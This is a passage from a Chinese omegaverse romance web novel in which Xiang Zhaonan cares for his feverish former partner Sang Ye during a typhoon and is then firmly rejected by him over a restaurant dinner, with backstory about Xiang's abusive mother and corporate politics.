相召南怔了许久,才反应过来,将人从薄被子里捞出来抱去浴室。 老大跟着想要进来,却又畏水,知道那里面有它害怕的超级无敌吐水怪,一时犹豫,便被相召南关在了门外,无能狂怒。 浴室的洗手台还没有添置多少洗护用品,有足够的空位,相召南便想把人放在上面。 但手一顿。 陶瓷的台面多少有些寒冷,桑也浑身滚烫,一冷一热容易给人激出毛病来。 相召南单手抱着桑也,另一只手从橱柜里翻出一张没用过的毛巾叠了两叠,垫在陶瓷台面上,才把人放下。 桑也浑身绵软无力,必须由他托着,相召南便少了一只手,只剩右手去揭开桑也的睡袍衣带。 然而桑也似乎是把睡袍当成套头衫来穿的—— 他的衣带打的死结。 过去都是桑也投怀送抱,或者他粗暴地撕破衣服,很少有解腰带的活,更何况还是单手。 相召南一只手结了半天,额头都冒出冷汗来,才勉强解开,松了口气。 桑也浑身粉白,比陶瓷台面还白润的肌肤如同顺滑丝绸的牛奶,因着发烧的缘故,胸前红得像熟透的樱桃。 相召南登时喉头一紧,呼吸都急促起来。 他连忙侧过头,避开视野,调整呼吸。 随后用毛巾沾着温水一点点擦拭。 从红润滚烫的脸,到纤细生动的脖颈,到内陷平滑的腰再到丰满莹润的大腿。 擦了一遍,两遍,三遍…… 等桑也的体温明显降了下来,相召南才把人的睡袍拢上,将人抱回了床上。 然而他刚一拖手,桑也便痛苦地弯曲了身体,瘦削的背弯成一张弓,双手攥着小腿,用力到手指尖泛白。 相召南连忙把人抱起。 “怎么了桑也?” 他轻声问。 桑也紧闭着眼,“疼……腿好疼……” 相召南愕然,他想起上楼前桑也便对他说“相召南,我腿疼”,只是后来忙着帮他退烧,忘了这茬。 现在看来,难道是因为发烧浑身疼? 他把人放在床上,单手握住桑也的两只手腕,不让他做出伤害自己的行为。 另一只手则是落在了桑也的小腿上。 迟迟未动。 “桑也,我帮你按按腿,你别生我气……好吗?” 桑也没有回应。 只是反复说着自己疼。 相召南听他说疼,见他面部扭曲仿佛□□焚身,自己心也揪得疼痛。 也不管桑也没有回答,自顾自上了手。 桑也的小腿肌肉很柔和,不像Alpha一样生硬,不用力时软绵绵的像棉花糖。 相召南大掌圈住他的小腿肚,从上至下轻轻揉捏,反复多次又转向正面,骨骼上附着薄薄一层肌肤,让他更加不敢用力。 然而持续了近二十分钟,丝毫不见成效。 桑也依旧喊疼。 相召南用手触碰了下他的眼尾,那里已经洇着濡红,仿佛随时都有可能滚下来一滴眼泪。 相召南说不出心里的感受。 桑也喊疼,他心里也疼得难受。 此前竟不知疼痛还会传染。 相召南顿时一滞,脑中白光一闪。 疼痛会传染,那转移呢? 他依稀记得,三年前他找到为桑也做手术的陆医生,想要知道一些手术的细节,以及被移除的腺体还能不能恢复。 陆医生说要保护病人的隐私,不能透露。 最后因为相召南连着找了他好几天,把陆医生烦得直说:“与其在这里纠结过去,不如好好想想怎么帮桑先生缓解感知错位和雨期疼痛的后遗症。” 也正是那一句雨期疼痛,让相召南顶着台风来到海风府。 桑也没给他打电话说不来云顶餐厅,但人又没来,是不想来,还是来不了 相召南心中有一杆秤,清晰地看见天秤往某个方向偏移。 可他就是不想承认。 万一就是生病了难受了才没来呢? 于是他冒雨来到海风府。 桑也的确生病了,但也并不能排除不想去的因素。 这都不重要了。 重要的是,当他看见桑也惨白的面庞,摇摇欲坠的身形,他瞬间就后悔了。 想要回到云顶餐厅,抹去自己不合时宜的、自私的期待。 他不要桑也因为生病而毁约。 他要桑也平平安安。 感知错位…… 相召南的思绪回笼。 难道其实桑也痛的不是腿,而是别的地方? 相召南呼吸一滞。 他唯一能想到的。 只有被剜去的腺体。 那个空落落的部位,每个雨天都会痛吗? 每个雨天都会提醒桑也,他的前任Alpha对他做了怎么样的错事吗? 想要逃避的感受顿时如同洪水倾涌而来。 可相召南无处可逃。 他还得帮桑也按摩,帮他缓解后遗症。 相召南颤着手,伸向桑也后颈原本脆弱的部位。 现在那里从外部上已经没有残缺; 但一上手便能感觉到凹陷。 那个能产生甜滋滋的柑橘味信息素的部位。 没有了。 相召南这一刻才无比清晰地意识到。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 50-60 第51章 按摩半小时后, 桑也似乎入睡了,睡容平和,没再喊疼。 一个小时后, 相召南收了手, 手腕处已经开始隐隐作痛, 但他毫不在意, 反而细致地帮桑也掖好被角,免得着凉, 加剧了病情。 自己则是折返浴室, 把洗漱台的水龙头开到最大,迅速接满了一池冷水。 接着毫不犹豫地把自己的头脸都埋进冷水中。 …… 浴室里水流不止, 窗外电闪雷鸣。 床上人缓缓睁开了眼, 双目无神地盯着天花板。 纯白的,无暇的, 一尘不染的天花板在此时动了起来, 仿佛流动的云,又恍若荡开的浪,甚至像极了水杯中的漩涡。 脱下的湿衣服, 吹凉的热水,铺垫的软毛巾, 一下又一下轻而柔和的擦拭。 一滴泪珠从桑也右眼角滑落, 顺着他的眼尾滚落到下颌, 最后一路掉到脖颈上那点红痣处。 干涸枯竭的内心再一次翻涌, 却不是为某人的柔情而心软, 而是被那一举一动伤得更深,更透彻。 相召南,你不是不会爱人。 你只是不爱那时的桑也。 桑也深深闭上眼。 如果是三年前的他, 不消用那么多细心的伺候,只要相召南能在他难受的时候立马赶回华润湾,他就能高兴一整天。 可现在,相召南越是细心,越是仔细,越是小心翼翼—— 桑也的心就越痛。 胸腔内心跳如鼓,如擂如击,沉沉甸甸,在喧哗的雨中震耳欲聋。 …… 相召南冷静下来后,又在桑也房间守了两个小时,隔一小时就用手背贴着桑也的额头测下体温,确认他没再高烧。 离开了房间两次。 一次是因为想起自己的衣服还在一楼,把衣服捡起来挂在浴室里,等他自然风干。 一次是半夜,他数着桑也睡了八九个小时,应该饿了,便到楼下熬了点白粥。 他虽然不会做什么大菜,但早年一个人外出打工,也会做点简单的吃食。 等他熬好了粥,还没有端出厨房,就看见桑也出现在厨房门口。 仍是穿着那一件浴袍,衣带的蝴蝶结还是相召南给他系的。 相召南愣了一下,随即问他:“你醒了?” 他上衣没干,煮粥的时候挂了一件阿姨的围裙,勉强遮住了腰腹,胸口的地方被围裙的吊带拢着,堂而皇之袒露在外面。 手上端着一碗白粥。 桑也只看了他一眼,虽然没说什么,但眼神便传达了废话二字。 他直接走到锅前,从相召南手中夺过那碗白粥。他进来前看见相召南正端着白粥吹风降温。 桑也从橱柜里取出一只干净的勺子,端起碗舀了一勺,贴在唇边试了试温度。 相召南心口紧得说不出话来。 桑也要吃他做的饭。 不用他劝。 是不是意味着他们之间的关系有所缓和? 相召南心提到嗓子眼。 然后他眼睁睁看着桑也抿了一口白粥,随后露出极为厌恶的神情,皱着眉把装着白粥的碗和勺子往身边的水池一扔。 相召南猛地一抬首,撞进那双浅褐色眼眸,它不像以往那样水润,反而干涩,无数红血丝向外张扬着爪牙,眼眶干红。 雨已经小了,隔着密闭的窗,厨房寂静一片。 桑也用高烧后尚未恢复的声带笑了两声。 “荣幸之至。”桑也眼眸轻飘飘扫了一眼水池里的混乱,“分秒必争的相氏总裁竟然会浪费时间为我一个无关紧要的人洗手做羹汤。” 短短一句话的功夫,相召南的浓眉从紧皱,到微微舒展,紧接着又回到紧锁不展的状态。 他看了看水池,胸口中有一股难以排解的浊气,又看向桑也,轻轻摇了摇头。 动作幅度微小,似乎他稍微大力一点就会把面前这个重病未愈的患者摇碎。 “怎么会是无关紧要……” 他话还没说完,便有一声轻笑传出来。 浅粉的唇角扬起,带动着整张好看的脸都变得生动起来。 相召南的话只能被震动的空气裹挟着带走。 然而只一瞬间,桑也立马收敛了表情。 “别让我听到你说对不起。” 那一瞬间他的神色有些发狠,似乎是相召南的错觉,因为只短短一瞬便眨眼不见。 桑也重新勾起唇,“真令人作呕。” 他依旧穿着那身睡袍,连锁骨处的红润之色都还没有改变。 但浑身上下的气质已截然不同。 和那个躺在床上说“相召南,我腿疼”的桑也判若两人。 说出的话更仿若一柄利刃,直直插进了相召南的胸口。 然而只是刀插了进去还不够,桑也往前走了一步,“你知道吗,你只适合高高在上睥睨众人,一旦你走下来,就变得庸俗、普通、黯淡,和世界上千千万万个Alpha没两样。” 相召南似乎不敢直视桑也的目光,他转身,垂眸看着锅中剩下的白粥。 他知道自己脱离了相氏就平庸如流浪汉,没有丝毫值得怜惜的优点,儒雅绅士没有,体贴入微没有,温柔敦厚更是看不到一点,倒是缺陷一堆,自私自利,夜郎自大,偏激固执,罄竹难书。 越想越让人气馁。 相召南毫无意义地搅了一下白粥。 可是…… 他只是想,三年前那么残忍的相召南都能得到桑也的偏爱,为什么现在逐渐改变,逐渐变得正常的相召南却不可以。 在李由的引导下,他恍然大悟地明白过来那时的桑也爱他有多么坚定,多么清晰,多么明晃晃,像是把他当成了最遥远的理想和信仰。 让现在的他嫉妒得发狂。 他侧了侧头,眼睛里似乎有什么东西要涌出来,被他硬生生憋回去。 “你不会还觉得装可怜流几滴鳄鱼的眼泪就能换回原谅?觉得像以前一样施舍一点仁慈大发善心给我个台阶我就会毫无怨言回到你身边?” “别做梦了。” 相召南终于是忍不住,胸口起伏剧烈,转回身来,张口想要为自己辩解些。 他可以给桑也他的一切,而不是简单的没用的眼泪。 只要桑也能再给他一次机会。 再给他一点爱。 可惜他对话还没有说出口,就被桑也打断。 桑也抬起手,竖起一根手指在唇前,轻轻“嘘”了一声。 “别说话。” 他双手抱臂,“否则我会忍不住就在台风夜把你赶出去,让你淋成落汤鸡,像你来的时候一样。”他笑着,似乎是想到了事情真发生时的样子。 相召南竟真听了他的话,闭着嘴,嘴唇用力到失去血色,仔细看来还在微微颤着。 桑也哼了一声,“哦对了,你做的粥很难吃。” 随后转身,步履坚定地离开了厨房。 独留相召南一个人在厨房。 相召南站了许久,久到他双腿变得僵硬,久到白粥变凉。 他才探出冰冷的手,从水池里拿出歪倒的碗。 碗中的白粥洒了一半,还剩了一小半,但已经凉透。 相召南捧着碗,碗口的白粥糊上他的手。 他抬碗一口喝尽了剩下的白粥。 随意擦了擦嘴角。 声音干哑苦涩:“其实味道还行。” …… 相召南说的是实话,他很早就学会了做饭,虽说不是什么美味珍馐,但也能勉强入口。 十岁的时候,林晓燕和相民离婚,相召南跟着林晓燕,十四岁的时候就开始打零工。 原因是暑假的时候被林晓燕赶回相家找相民要钱给林俊做生意,相民把他骂了一顿。 他没要到钱,回到林家又被林晓燕骂一顿,“没用的东西,挣个半天一年抚养费就一百二十万,生活费还全得我出,赔钱玩意。” 林俊做生意没头脑,年年把抚养费败得一干二净。 最后不知道怎么就成了相召南的错处。 林晓燕一气之下把他赶出去,说要不到钱就别回来了。 相召南肯定不可能再回去相家那里。相家一家三口其乐融融,更容不下他。 最开始他找了个巷子里的饭馆,谎报自己十六岁,跟老板是亲戚,勉强洗了两周的碗,顺便把跑腿的活也干了。 后来他偶然听见一个吃饭的年轻人跟老板聊天,吐槽他们接外包的程序员简直是拿命换钱。 相召南偷听了几次,自己摸索到黑网吧里,别人都在打游戏、抽烟的时候,他在自学程序。 好在上天垂怜,他还算有点天赋。 入门之后便靠着伪造经验,边学边做接起了单。 那些单子都是公司转手给外包公司,外包公司发布到联系人手上,最后才落到他这里,转了三五次手,已经没多少钱。 但他做得多,没日没夜地做。 网吧老板窥屏半天,看懂他在干什么之后还打趣这地儿给他办公挣钱,得涨价。 就这样,一单又一单,他在一个半月的时间攒了十六万。 满怀希望地回到林家,林晓燕以为他要到钱了,见了人就伸手,压根没问他这两个月住在哪吃在哪。 他便诚诚实实地把全部钱交给林晓燕了。 结果林晓燕查了一下卡的余额,回来又把他骂了一顿。 再后来他带回家的钱越来越多,一两个月能带回家四五十万,加上抚养费,勉强够林俊造。 他白天学习,晚上接单。 很累,但不敢休息。 他怕一停,林晓燕就又要变成喊打喊骂的样子。 上大学后,他和室友一起创了家游戏公司,做得还算可以。 这事似乎被相民知道了。 第二年,林晓燕要他去找相民要钱,说林俊又干砸了。 相召南跟林晓燕说,他其实很多年没找相民要过钱了,一直都是他自己挣的。 他以为这样说林晓燕就能稍微看重一下他,而不是一心都是那个干什么垮什么的弟弟林俊。 结果林晓燕一听他说这话,立马就气得发狂,抬手就给他了几巴掌。 “我留着你这个名字是做什么的?你竟然不去找他要钱?他的钱不给你,不就全给了那个小三的儿子?你是死人吗?!” 又被压着去了相家。 这一次去,相民要他离开那家游戏公司,进相氏。 相召南不同意,林晓燕满口答应。 这件事情就这样拍板决定了。 也因此他连为数不多的朋友也没了。 第52章 第二天早上。 桑也睁眼时, 风住了,雨停了,太阳已经在地平线上, 源源不断送来暖黄色的光芒。 可能是因为时间还早, 加上别墅区本就人烟稀少, 外面没什么响动。 像灾难后的静默。 相召南坐在他的床边。 裸着上半身, 似乎一点也不在乎着凉不着凉的问题,见他有了动静, 目光灼灼看着自己, 双目满是整宿未眠熬出来的红血丝。 “你醒了。” 桑也没搭理他。 净说废话。 他直接从床上下来,脚刚沾地时有些腿软, 但只一眨眼的功夫, 没到让他跌坐回床上的地步。 旁边的相召南伸出的手又兀自收回。 桑也到浴室,简单洗漱了一下, 冷水漱口洗脸, 精神了许多。 出来时,他手上拎着相召南挂在浴室里的衣服。 什么都没说,只抬手一扔。 衣服和衣架哐啷啷砸到相召南身上, 不知道算桑也扔得准,还是相召南接得准, 一件也没掉到地上。 相召南摸着衣架, 心里有着惴惴不安的预测。 果然, 他听见桑也毫无波动说:“该滚了。” 因为台风, 浴室本来通风的窗子都锁上了, 本来湿度就高,空气又不流通,西服外套和马甲都还水溻溻的, 只有衬衫稍微好点,但也没干透。 相召南碾了碾西服外套,随后摊开手掌,“还湿着,你总不能忍心看着我穿湿衣服回去吧。” 先不说那手中到底有没有水渍,隔这么远桑也不可能看得到,就算看到了,确认了衣服还没干,又能如何。 “我有什么不忍心的。” 嘴上这样说着,却不由自主侧了侧身,避开相召南的目光。 相召南一看便知桑也嘴上功夫见长,心中底色其实纹丝未变。 “昨晚我守了一晚上,眼睛都没眨一下,台风吹得很猛,我检查了四五次窗户,怕它坚持不住,隔三岔五测一测你的体温,担心你反复发烧,听见你喃喃说自己疼,就帮你按摩腺……” “够了。” 桑也切齿道,相召南什么时候变得这样不要脸? 他恨恨道:“吹风就在浴室,你一整个晚上就没想过自己把衣服吹干?” 相召南却露出一副无辜的神情,“在里头吹我怕吵醒你,在外头吹又怕留意不到你的情况。” 桑也眼皮直跳,“那还成我的问题了?” 相召南立马表示:“当然不是你的问题,是我。” “是我一厢情愿。” 又酸又涩的感觉一阵阵涌来,桑也将其强压回去,快步走到桑守安的房间,从衣柜里扯了件白色衬衫和西服外套,转身就看见相召南在门口等着自己。 他把手上大哥的衣服丢给相召南。 相召南一脸惊喜,“其实我可以现在用吹风机吹……” 等他用吹风机吹完,都该吃午饭了。打的什么主意桑也都懒得点破。 “不穿就裸着出去。”桑也刺他,“反正你也不怕上新闻,什么相氏集团总裁精神失常裸体出现在S市大街,对你应该影响不大。” 相召南立马收敛了神色。 他和桑守安身高相近,又都有健身的习惯,穿衣尺码差不多,比不上量体裁衣的定制,但至少穿上不会显得滑稽。 等桑也倒了杯水回来,相召南已经换好衣服。 “慢走不送。”桑也端着热水,推开自己卧室的门,正在询问两个阿姨情况如何。 相召南突然过来,抵住他将要合上的房门。 桑也眉头微蹙。 “留个联系方式?我好把衣服还你。”相召南一脸正直,仿佛绝不是借着还衣服的理由满足一己私欲,“我看桑守安衣柜里衣服不多,少一件还是挺明显的。” “寄过来就行。” “万一你不在家,不就让桑守安知道了?你也不想他知道我在你家住了一晚上吧……” 桑也恨不得一脚踹过去,这说的什么乱七八糟的。 他打开手机,调出二维码,抿着唇让相召南扫。 他出国后,国内的手机号慢慢地没用了,到后来连卡都找不着了,只能让张明来一趟C国帮他销卡。 回到C国,便重新办了张卡,注册了新的国内社交账号。 收到好友申请后,犹豫了一会,没点通过,就感受到有一股滚烫的目光盯着自己,最后咬了咬颊内软肉,用力地按下通过键。 相召南见好就收,也没再继续折腾桑也。 下了楼,走到院子里。 “你车呢。”桑也站在二楼的窗台,看着相召南准备徒步走回去。 相召南说:“来的时候刮风下雨,站台没有保安,开不了门,我把车停在别墅区外面,走进来的。” 他尽可能把自己说得可怜些。 桑也“哦”了一声,“那你自个走出去吧。”别墅区内部不小,离他所说的保安站台有将近半小时的脚程。 他都顶着台风走来了,难道还能走不出去? 桑也直接转身进了房间,给大哥打电话。 相召南挑了挑眉。 虽然桑也没说要送他,但至少也问了一句。 他心中窃喜。 走路出去也有劲。 到这天下午的时候,街上陆陆续续有了人影。 满地的残枝败叶,堵住的下水道,贴着不知道哪家吹来的衣服的白墙,慢慢被街道工作者和好心路人解决。 天气彻底好起来之后,凌星找过桑也一次。 据他说突然刮风那天上午他正在准备粉丝见面会,结果因为台风,一个粉丝没见着,准备的可爱发箍、漂亮衣服全都浪费了。 “这破星球疯了吧?不是热得要死,就是十年见不到一次的台风。我看网上有人预测今年冬天会格外的冷,原理我忘了,哪看的也忘了,就记得会冷。” 怨声载道。 桑也只能宽慰他,“换个思路,你新家安装的暖气也算没白费。” 凌星无语凝噎。 之后又带着新桑的新团队去S市的两家顶尖高校参加了校招。 虽然新桑刚起步,没什么名气,但桑也往那一坐,不管是冲着他国外的名气,还是自身的长相,源源不断有人来咨询。 也成功谈下了好几个学生物技术的博士生。 他哥前不久用高薪资聘了不少顶尖技术人才,对于一家新起步的公司,按理说已经足够。 只不过他们野心大,不会永远当新公司,所以才秉持着多多益善的原则,能者都招来。 比起招了几个技术人员,桑也干的更让桑守安眼前一亮的事其实是他在招聘会上认识了几个其他同赛道公司的高管。 也不知怎么谈的,一来二往,都表示愿意跳槽到新桑来。 桑守安现在手底下的管理人员多是他过去信得过的人,在管理一事上在行,但毕竟领域不同,旧一套的管理方法多有弊端。 能把这几个原本就在生物科技公司的管理层哄来,对于构建新桑的管理架构和制度,都大有益处,缓解了桑守安的压力。 除了这两件事,还能让桑也谈上一谈的就是那个在高校见到的熟悉身影。 他对桑守安说:“没想到那个齐橘竟然还是S大的学生,道德低下,真是有辱S大名声……” 尽管他清楚高校准入看的不是品德,还是忍不住感慨。 周五晚上。 一直没有动静的相召南发来消息: 【明天晚上,云顶餐厅,等你。】 没回他。 过了一会,收到条短信。 桑也下意识以为还是相召南,点进去才发现是林肯。 【桑也,之前的约定出了意外,这次别再出差错了。】 桑也一个都没回。 翌日傍晚。 他驱车停在了云顶大厦前。 S市最繁华的街道,人流和江流同向涌动。云顶大厦享誉全国的餐厅在大厦顶楼,一座难求。 高调的跑车停下,大厦里两个穿着燕尾服的侍应立马小跑过来,帮他开了车门,等桑也下了车,一人领着他上楼,一人帮他把车开进车库。 踏入大厦旋转门之前,身后有绵绵不绝的惊呼声和低语声,只不过桑也早已习惯,并未回头。 到了顶层,整个餐厅别无他人,只有相召南坐在其中一张靠窗的餐桌上。 黑胡桃木的餐桌盖着一张柔顺油亮的浅灰色丝绸桌布,银质餐具整齐摆放,顶上的水晶吊饰在壁灯的照射下在桌面映出水光般的倒影,像一串太阳下熟透的葡萄倒影。 他身侧是高大清透的落地窗,稍稍侧目便能将整个S市收揽在眼内。 落日熔金,大片大片的金黄色仿佛近在咫尺。 听到电梯的动静,相召南将面前的笔记本电脑合上,放置在餐桌一旁。 他起身,为桑也抽出对面的椅子。 “不知道你什么时候到,我先点了些甜品。” 桑也一眼看去,的确如此。 桌上摆了四五样云顶餐厅出名的甜品,草莓舒芙蕾轻盈蓬松,熟红色的草莓点缀在餐盘上,和暖白色的舒芙蕾交相辉映,光是看着就给人香甜的感觉。 另一样让桑也注目的是云朵样式的巧克力慕斯,底部的饼干碎散发出坚果的香气,中和了慕斯的粘腻感。 相召南问他:“有喜欢的吗?都不喜欢的话看看菜单,再点别的。” 李由告诉他正常人谈恋爱都会投其所好,相召南便搜刮着以前的记忆,从桑也和他刚结婚时,到桑也远走M国后,一点点回顾,终于找到了一丝桑也爱吃甜食的踪迹。 但桑也不知为何,似乎并没有表现得很开心。 眼尾低垂着,睫羽仿佛很沉重,压得他抬不起眼睑。 他的棕瞳倒映着餐桌上香蜜的甜点,心中如有响鼓重锤。 得彻底跟他一刀两断。 桑也心想。 否则就来不及了。 第53章 桑也低垂着眉目, 朝侍应招手:“都撤了。” 相召南面色一凝,没说什么,让开一步, 给侍应腾出位置把一口未动的甜点下了。 他示意桑也点菜, 桑也指点了个酸辣鸡杂, 剩下的小炒黄牛肉、香辣大虾、土豆烧牛肉、干煸鸡丝, 都是相召南点的。 云顶餐厅在一众高档餐厅中脱颖而出的其中一个原因便是它是为数不多的C国特色餐厅,而非千篇一律的牛排意面蔬菜沙拉。 桑也听着相召南念出菜名, 心中蓦地一酸。 这都不是相召南爱吃的菜。 相召南吃得清淡, 桑也曾经问过一次,他拧着眉说香辛料加太多掩盖了食材本身的好坏, 语气里语气外都对辣口的食物没什么好感。 而现在竟也点起了这些菜品。 相召南终于知道他的口味了? 比如甜食。比如辛辣。 可惜, 来得太迟了。 非但不能软化桑也坚如磐石的内心,反而令那颗跳动的心脏更加有力。 桑也自觉这次赴约只是个任务, 并没有和相召南交谈的想法。 干坐了片刻后, 侍应上了菜。 等桑也拿起筷子夹了一片牛肉放在口中,相召南似乎终于受不了这静默的氛围,主动问:“味道怎么样?” 桑也品了一下, 牛肉炒得恰到好处,肉质鲜嫩, 香辣浓郁, 配上香芹, 口感丰富。 他点头, “还可以。” “那你多吃点。”相召南将餐碟往他的方向推了推, “你太瘦了。” 桑也却顿住了筷子,“你越界了。”随后重新伸出筷子。 相召南浅笑一滞,悻悻往后靠了靠。 “这段时间, 房地产那边你们别插手。” 桑也抬眸看了他一眼。 相召南双腿敞开,手肘置于桌上,神色凝重。 “我知道桑守安的案子快结了,日后是下手的好时机。但是——” “昨天晚上执/政官私下和我见了一面。” 漆黑的夜,喧哗的城市一尘不变,人来人往,一辆黑车停在了相氏大楼前。 陈助慌慌张张推开了总裁的办公室门,连敲门的礼数都抛之脑后。 没等相召南责备他风风火火不守规矩,就交代了自己慌乱的原因。 “相总,有人找你。” “谁?” “执/政官。” 相召南只停顿了一瞬,便放下手中的资料,边走边整理袖口。 “有说是什么事吗?” “没,那边就说想和你聊聊。” 门口的守卫只放了相召南一个人进去。 六十多岁的执/政官精神奕奕,和他握手问候,示意他坐在对面的沙发上。 从简单的寒暄,到步入正题,只花了不到两分钟。 两分钟后,相召南便知道了执/政官的来意。 “相氏会极力配合支持重振房地产,您放心。” “和聪明人讲话就是轻松。”执/政官见他上道,没有要对着干的意思,眼色中多了些重视,“不妨和你说,为了提振房地产市场,我们连学生的私立辅导都取缔了,结果市场每况愈下,仔细调查了才知道还有陈张这样的毒瘤在降低民众信心。” 相召南若有所思。 取缔私立辅导是为了推动教育用房的售出,增加需求,带动供给。 私立辅导和教育用房同为教育准入的辅助手段,但在大环境不景气的情况下,家庭资本不多的人更多考虑相对低廉的辅导,而非买房,堵住了辅导的渠道,这部分人自然而然就转向买房。 教育的重要性不必多说,C国能为了提振房地产而出台专门的教育政策,可想而知问题严峻程度。 但市场对房地产的信心不高,不是简单的一个政策就能改变的。 更何况还有陈张这样的后腿闹出新闻,不断打击市场,让更多人对买房望而生却。 相召南略一思索,便明白了其中利害,只是有些不解:“我听说国内将要大搞廉租房,那商业房……?” “廉租房和商业房的受众群体并不重合,而且因为廉租房同样要用地,用人,用资源,消息放出去,还会间接导致商品房价格上升,进而推动想要买房但还在观望的人下手。” 桑也淡定回复。 三年前他就看清楚了这一点。 “执/政官也是这个意思。” “这跟我们插不插手房地产有什么关系?” 桑也嘴角沾了点油渍,抽了张纸巾轻轻擦拭。 “上面也想借你们这件事的风把陈张地产收归国有。” 当然,不仅是栽赃陷害这一回事,还有频频烂尾,对买家不负责,桩桩件件,都够他们喝一壶的。 “要是你们有心夺回桑氏地产,到时候肯定是最佳时机。但,”相召南双手交叉,直视桑也,“那就成和上头的人对着干了。” 桑也面色变得肃重起来。 他放下筷子,拿起手机,给大哥打字发消息。虽然不知道大哥对房地产还有没有想法,但万一有,到时候撞枪口就糟了。 而相召南,见他听进去了自己的话,感觉自己起了些作用,甚至有些洋洋自得起来,像开屏的孔雀,开始陈述他还做了哪些对桑也有价值、或者是能让桑也对自己刮目相看的事。 “……钱余那件事,我后来想了许久,的确是我做得太自私,死板,你走之后,我彻底看明白他,打发他回家去。抄袭你的事,我也撤了捂嘴的消息,虽然没在网上闹出什么大新闻,但随着你在M国的名声越来越大,作为抄袭者,他已经在绘画这一行干不下去转行了。” “当初我只顾虑到师生之情,表面功夫,觉得你作为我的Omega,自然会理解我,觉得利益交换就能掩盖伤疤,没考虑到你的感受——但我现在已经意识到问题,我……” 忏悔不是一个人事情,对着受害者忏悔自己的过错,就不可避免地把受害的人拉回了过往,重新体会那种孤立无援的无助。 相召南的声音戛然而止,他想说抱歉,想对作为桑也的Alpha却没有尽到应有的责任一事表示歉意。 但又脑海中突然想起桑也那天的痉挛,那句“别让我听见到你说对不起”如同海岸的鸥鸟在脑海中徘徊不下。 他立马住了声。 他想弥补过去的错。 但声声抱歉何尝不是在酿造新的错误。 他得等桑也不再如此排斥,再诚心诚意地献上忏悔。 死寂一般的餐厅。 只有筷子碰撞的声音。 相召南小心偷觊桑也的神情。 见他没有出现情绪上的波动,一颗悬着的心才咽回去。 “还记得相渡南吗?当初我说他不是个好人,叫你远离他,但你和我赌气,跟他走得近。后来桑氏出事那天晚上,他在股东大会上给我施压,我本想压着事情,等风头过去再来讨论,他却拿我们婚姻的事情说事,但凡我有半点犹豫不决,他就要联合一些看不惯我的股东让我下台。” “我这话不是要你原谅我,我的意思是,当初我根基不稳,但现在不一样了,相民走了之后,相渡南没了助力,相氏高层也被我清洗了一遍,现在不会再有阻力,不会再有人阻碍我——” 爱你。 他迫不及待想要展示自己,让桑也相信他不会重蹈覆辙,不会让桑也旧伤未愈又添新伤。 但是桑也只是语气平平地回了句:“不是赌气。” 相召南霎时失去了血色。 “除了凌星,我没什么朋友,除了盼着你回家,无所事事。对于相渡南,他在相氏做了什么事,我不做评价。但当时和他相处,我感到开心轻松,我也不会否认。” 相召南眉目之间迅速浮现出愁惘之色,仿佛凝结了沉沉的沮丧和痛苦。 不—— 他陷入无尽的痛楚中,“可他挑拨我们之间的关系,在危急时刻强迫我放手,害得桑氏一蹶不振,跌入谷底,你连他都能原谅,为什么不能原谅我?” 他的声音阻涩,喑哑,每个字都仿佛用尽了全身力气。 西装上的褶皱似乎也在挣扎着,咆哮着。 但桑也只是淡淡问:“你拔了相民氧气管?” 相召南一怔,不知道桑也言出何意。 相民当初被他在相氏大刀阔斧的清洗气得晕厥,查出来脑溢血,没多久就进了重症监护室,下了病危通知书,不是什么罕为人知的消息。 桑也知道这些事,相召南并不意外,甚至有些惊喜。 ——桑也还关注他。 但他的确没有拔相民氧气管,“只是签了放弃治疗的通知。” 桑也粲然一笑,笑得比窗外的落日美上百万倍,笑得相召南一时晃神。 “你连把你当棋子的相民都没有痛下杀手,为什么能残忍地让我在情热期备受煎熬,把自己挠得血肉模糊,生死垂危?” “不接电话的时候,你想的是什么?天哪,我终于让那个占据了桑也身体的混蛋得到了应有的惩罚吗?我一定要让他痛不欲生,为自己的改变付出沉重代价吗?” “我是什么罪大恶极、穷凶极恶的坏人吗?” “我做了什么十恶不赦的错事吗?” 杀人放火,还是盗窃欺瞒了? 都没有。 他只是爱上了相召南。 平生的错,不过如此。 窗外,大厦对面的一扇窗户后,摄像头连连闪光。 “以后不要再见面了。” 他没有给相召南留任何反驳的时间,起身就走。走得决绝而迅疾,单看背影,定要以为是个多么绝情的角色。 字字句句,如泣如诉。 独留相召南一个人脸色煞白,坐在原地。 第54章 夏末的风吹落了秋枫, 转眼就入了秋。 S市政厅为了让市民享受短暂的秋天,特意批了文件让清洁部按兵不动,让落叶停留得更久, 更有韵味。 但随着冬雨落下来, 稍纵即逝的秋天还是偷偷溜走了, 只是一个普通的夜晚, 一场雨,一阵风, 再起床就得加衣。 十二月初, 桑也约了沈惟岸谈话。 沈惟岸是之前他从别的公司挖来的高管,三十五岁上下的Beta, 能力强劲, 频频被桑守安私下称赞。 前两天晚上,桑守安突然找到桑也, 问他有没有时间关心关心沈惟岸。 说是沈惟岸九月入职, 来新桑两个月,正是新事业起步的时机,结果碰到家中Beta父亲重病住院。 无论是从朋友忧心他心情不佳的角度看, 还是从公司担心他工作效率降低的方面考虑,桑守安和桑也都该有人去关心问候一下。 只不过桑守安有事要出差, 这件事自然就落到了桑也头上。 桑也便答应了。 他当时把人家挖过来, 又因为对方的推拒, 没给开多大涨幅的年薪, 这时候总得去彰显彰显公司的人文关怀。 见面的时间是中午, 地点在市中心的一家音乐餐厅。 因为今天只有这样一件安排,事后也不需要再去公司,便没让张明来接送, 当给他放假了。 张明尽职尽责,得到放假通知的时候还专门问桑也:“地方远吗?冬天冷,要不还是我送桑总去吧?” 桑也摇头,说就在市中心的餐厅,让张明不用担心那么多。 下了车,冷风往衣襟里灌,桑也捂了捂自己的羊毛衫内搭,把呢子大衣的扣子老老实实扣上。 扣子扣上前,风一吹,柔软的大衣后摆便软绵绵地飘起来,刺骨的风钻进他的后背,形成一个空荡荡的空谷。 因为风的原因,大衣被勒到身后,臂膀的地方紧紧贴着,勾勒出他的腰身,到有些出乎意料的偶像剧感。 扣上扣子后,虽然没那么“自由”,但的确保暖了许多,勒紧的腰带将大衣和他的腰死死扣合,丝毫不显得臃肿。 有路过的人念念不忘,“你说人家的衣服怎么就这么有形这么显身材呢?我就买不到。” “你有那个身材?那个钱财?” “嘶……” 桑也则是跺了跺脚,朝手中吹了吹暖风,等着沈惟岸。 刚才他发消息说要稍稍迟个五分钟,让桑也见谅。 其实并没有迟到,这话说得太客气了,桑也本身也没有放在心上。 他在门口站了不到半分钟,就有服务员走出来,将他领了进去。 “沈先生提前预约了座位,让我们见到您就带您过来。” 服务员边倒热水边说。 桑也道了谢,坐下抱着热水喝了几口。 